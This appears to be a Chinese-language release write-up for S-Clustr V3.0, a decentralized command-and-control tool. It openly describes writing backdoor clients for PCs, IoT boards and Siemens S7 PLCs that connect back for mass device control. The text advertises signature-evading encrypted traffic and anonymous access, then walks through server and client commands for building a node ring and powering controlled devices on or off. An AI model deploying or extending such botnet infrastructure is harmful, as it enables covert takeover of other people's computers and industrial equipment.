S-Clustr
项目地址:https://github.com/MartinxMax/S-Clustr/releases/tag/S-Clustr-V3.0
概要
S-Clustr已经过首次大升级,体积更小,效率功能更加快速
优化内容 |
---|
1.废弃python版本的影子集群(内存消耗与执行效率堪忧),改用Java版本处理高并发流量 |
2.合并ROOT端口Server端,整合为一个服务端应用程序。体积压缩率与内存运行消耗率均降低近约99.7%左右 |
3.废弃钉钉数据推送模块(不安全) |
4.全新加密伪协议封包,减少数据传输所产生的流量大小,消除特征 |
5.数据包重放攻击防御 |
6.匿名模式访问节点(全程将使用双密钥加密,实时保护匿名者的数据隐私) |
7.去中心化,每一个服务端都可作为一个根节点(子节点可提供环形密钥来加入这个网络),一个节点保留最大控制设备数量为5w台 |
8.中间人跳板控制 |
9.自主选择节点控制类型 |
10.环形网络共享网络圈 |
Type | Device | LAN | Wireless | 4G |
---|---|---|---|---|
IOT | Arduino | √ | × | √ |
IOT | 合宙AIR780e | × | × | √ |
IOT | ESP8266 | × | √ | × |
IOT | AT89C51 | × | × | √ |
IOT | STM32 | × | × | √ |
OT/PLC | SIEMENS S7-1200 | √ | × | × |
OT/PLC | SIEMENS S7-200 | √ | × | × |
IT | PC | √ | √ | × |
关于
(匿名网友)问:S-Clustr是一款什么工具? 答:是一款去中心化分布式节点网络控制器,用于一对多的网络控制,你可以自主编写客户端(不仅局限于个人计算机,也包含嵌入式设备)后门程序来反向连接到S-Clustr进行上百万设备大规模集群控制
(匿名网友)问:流量通讯的隐蔽性如何? 答:全通信过程采用双密钥加密,即使中间人尝试重放你的数据包操作也无法成功控制
核心概念
双密钥认证&构造伪协议
S-Clustr(影子集群)在3.0版本引入了双密钥认证概念
通过加密数据,将保证匿名身份连接的数据安全性
去中心化&分布式控制
在图中,每一个服务端都可成为根节点,加入节点时我们需要提供环形网络密钥,来加入这个Club,
接入Root节点服务器时,你将有最高的控制权限控制包含在内的以下所有节点在内的设备。不过为了保护节点安全,你需要提供节点密钥(并不是所有人都会毫无防备的相信你)。
环形网络组建
概要
实际并不需要大于2个设备(当然加入你Club的机器越多,你所作的也就越多),如果你是一个服务端也是完全可以的。
服务端
$ java -jar s_clustr-server-3.0.jar -h
Root Node 服务器
无论在windows还是linux,你都可以将服务端进行部署。
$ java -jar s_clustr-server-3.0.jar -nkey whoami123 -rkey h4ck13io
节点密钥:whoami123
环网密钥:h4ck13io
Child Node 服务器
Windows2:
$ java -jar s_clustr-server-3.0.jar -nkey FVckG4me -rkey h4ck13io -rootip 192.168.8.107
加入环形网络,成为节点
节点密钥:FVckG4me
环网密钥:h4ck13io
测试中需要再添加一个子节点
Windows:
$ java -jar s_clustr-server-3.0.jar -nkey OPOPOPOP -rkey h4ck13io -rootip 192.168.8.107
节点密钥:OPOPOPOP
环网密钥:h4ck13io
匿名端
$ java -jar s_clustr-client-3.0.jar
配置set root-host
,set node-key
,set ring-key
信息
[S-H4CK13@S-Clustr]<3.0># init
进行初始化,尝试进入Root服务器
成功连接后将出现一个根节点标识。
获取根节点设备状态
需要确保处于根节点设备状态
[S-H4CK13@S-Clustr]<3.0>@000C29EC84FE# set pwr 0
[S-H4CK13@S-Clustr]<3.0>@000C29EC84FE# set pwr 3
获取子节点状态
处于根节点节点状态并且输入getinfo
命令来获取所有节点状态
进入节点
处于根节点节点状态并且输入goto <Node ID>
命令来进入节点,输入exit
命令退出当前节点
节点设备控制
明确当前节点位置后,选择设置pwr参数行为
[1.启动 2.停止 3.状态查询]
进行控制时,必须要确认当前所在节点是否与该节点密钥是否正确
节点服务器:
模拟被控客户端:
同样我们可以通过set type
参数来指定类型停止